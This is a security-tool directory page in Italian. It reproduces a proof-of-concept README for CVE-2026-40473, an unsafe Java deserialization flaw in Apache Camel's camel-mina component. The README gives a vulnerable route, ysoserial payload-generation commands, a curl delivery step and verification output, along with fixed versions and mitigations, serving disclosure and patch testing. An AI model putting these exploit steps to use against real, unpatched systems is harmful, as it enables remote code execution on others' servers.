Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-40473 — Reproducer per CVE-2026-40473: deserializzazione non sicura di Apache Camel camel-mina MinaConverter.toObjectInput (RCE su TCP/UDP) | Kitploit
Strumenti/GitHubGitHub/oscerd/cve-2026-40473
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneBinary Exploitation
GitHuboscerd/cve-2026-40473

CVE-2026-40473

Reproducer per CVE-2026-40473: deserializzazione non sicura di Apache Camel camel-mina MinaConverter.toObjectInput (RCE su TCP/UDP)

Vedi Repository
1 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

camel-mina MinaConverter.toObjectInput Riproduttore di deserializzazione non sicura (CVE-2026-40473)

Questo progetto dimostra una vulnerabilità di deserializzazione Java nel componente camel-mina di Apache Camel, tracciata come CVE-2026-40473. Il type converter MinaConverter.toObjectInput(IoBuffer) avvolge i byte ricevuti in un ObjectInputStream grezzo senza alcun ObjectInputFilter, quindi una route che converte un body TCP/UDP in ObjectInput e chiama readObject() può essere portata a esecuzione remota di codice da un attaccante che invia un oggetto serializzato appositamente costruito alla porta MINA.

Avviso: https://camel.apache.org/security/CVE-2026-40473.html

Riepilogo della vulnerabilità

Dettagli tecnici

Il type converter IoBuffer → ObjectInput avvolge il buffer in un ObjectInputStream grezzo:

root@kitploit:~
// MinaConverter.toObjectInput(IoBuffer) - affected version
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
    InputStream is = buffer.asInputStream();
    return new ObjectInputStream(is);   // NO ObjectInputFilter
}

Quando un consumer TCP/UDP camel-mina consegna i byte grezzi (ad es. con allowDefaultCodec=false) e la route richiede un ObjectInput (getBody(ObjectInput.class), @Body ObjectInput o convertBodyTo(ObjectInput.class)), questo converter viene eseguito. La chiamata a readObject() sullo stream restituito esegue quindi qualsiasi gadget chain contenuta nei byte forniti dall'attaccante.

La route vittima

root@kitploit:~
from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
    .process(exchange -> {
        ObjectInput oi = exchange.getIn().getBody(ObjectInput.class);  // MinaConverter.toObjectInput
        Object obj = oi.readObject();                                  // deserialization sink
        exchange.getMessage().setBody("deserialized: " + obj);
    });

Prerequisiti

  • Java 17+ e Maven 3.8+ (per compilare il jar)
  • Docker (esegue il riproduttore)
  • ysoserial (per la generazione del payload)

Passaggi per la riproduzione

Passaggio 1: Compilare il jar e avviare il container

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

Passaggio 2: Generare un payload malevolo

root@kitploit:~
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# On JDK 21 add --add-opens to generate CommonsCollections gadgets:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

Passaggio 3: Inviarlo via TCP alla porta MINA (RCE)

root@kitploit:~
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" --data-binary @payload.b64
# The bundled helper opens a raw TCP socket to mina:5555 and writes the bytes; the victim route
# converts them to ObjectInput and calls readObject().
# -> ">>> RCE proof — /tmp/pwned exists: true"

(La porta MINA 5555 è interna al container in questo PoC; l'helper /exploit/inject esegue l'invio TCP grezzo dall'interno. Esporre la porta 5555 per inviare dall'host con un client grezzo come nc.)

Passaggio 4: Verifica

root@kitploit:~
docker exec cve-2026-40473 ls -la /tmp/pwned

Pulizia

root@kitploit:~
docker compose down

Vettori di attacco

Qualsiasi consumer TCP o UDP camel-mina la cui route converte il body in ObjectInput (direttamente, tramite @Body ObjectInput o convertBodyTo(ObjectInput.class)) è sfruttabile da chiunque possa raggiungere la porta MINA.

Condizioni per lo sfruttamento

  1. Un consumer TCP/UDP camel-mina che richiede la conversione in ObjectInput dei byte ricevuti.
  2. Una libreria di gadget nel classpath (ad es. commons-collections:3.2.1).

Fix consigliato

Aggiornare a 4.14.6 / 4.18.2 / 4.20.0. Il fix applica un ObjectInputFilter / una allow-list di classi al converter (coerente con l'hardening applicato a camel-netty, camel-jms e camel-infinispan).

Mitigazione

Fino all'aggiornamento:

  1. Non convertire i body MINA non attendibili in ObjectInput / non deserializzarli.
  2. Rimuovere le librerie di gadget (aggiornare/rimuovere commons-collections 3.x).
  3. Limitare l'accesso di rete alla porta MINA ai soli peer fidati.

File

root@kitploit:~
CVE-2026-40473/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── MinaObjectRoute.java      # victim: from(mina:tcp).getBody(ObjectInput).readObject()
    │   └── ExploitController.java    # /inject: sends serialized bytes over TCP to mina:5555
    └── resources/
        └── application.properties

Disclaimer

Questo riproduttore è fornito esclusivamente per ricerca sulla sicurezza e test autorizzati, per una vulnerabilità divulgata pubblicamente e corretta. Non utilizzarlo su sistemi senza autorizzazione esplicita.

Scarica lo strumento
ProprietàValore
Componentecamel-mina
Classe interessataorg.apache.camel.component.mina.MinaConverter (toObjectInput)
CWECWE-502: Deserializzazione di dati non attendibili
ImpattoEsecuzione remota di codice (RCE) su TCP/UDP
Versioni interessateDalla 3.0.0 fino alla 4.14.6 esclusa, dalla 4.15.0 fino alla 4.18.2 esclusa, dalla 4.19.0 fino alla 4.20.0 esclusa
Versioni corrette4.14.6, 4.18.2, 4.20.0
JIRACAMEL-23319
SegnalatoreVenkatraman Kumar (Securin)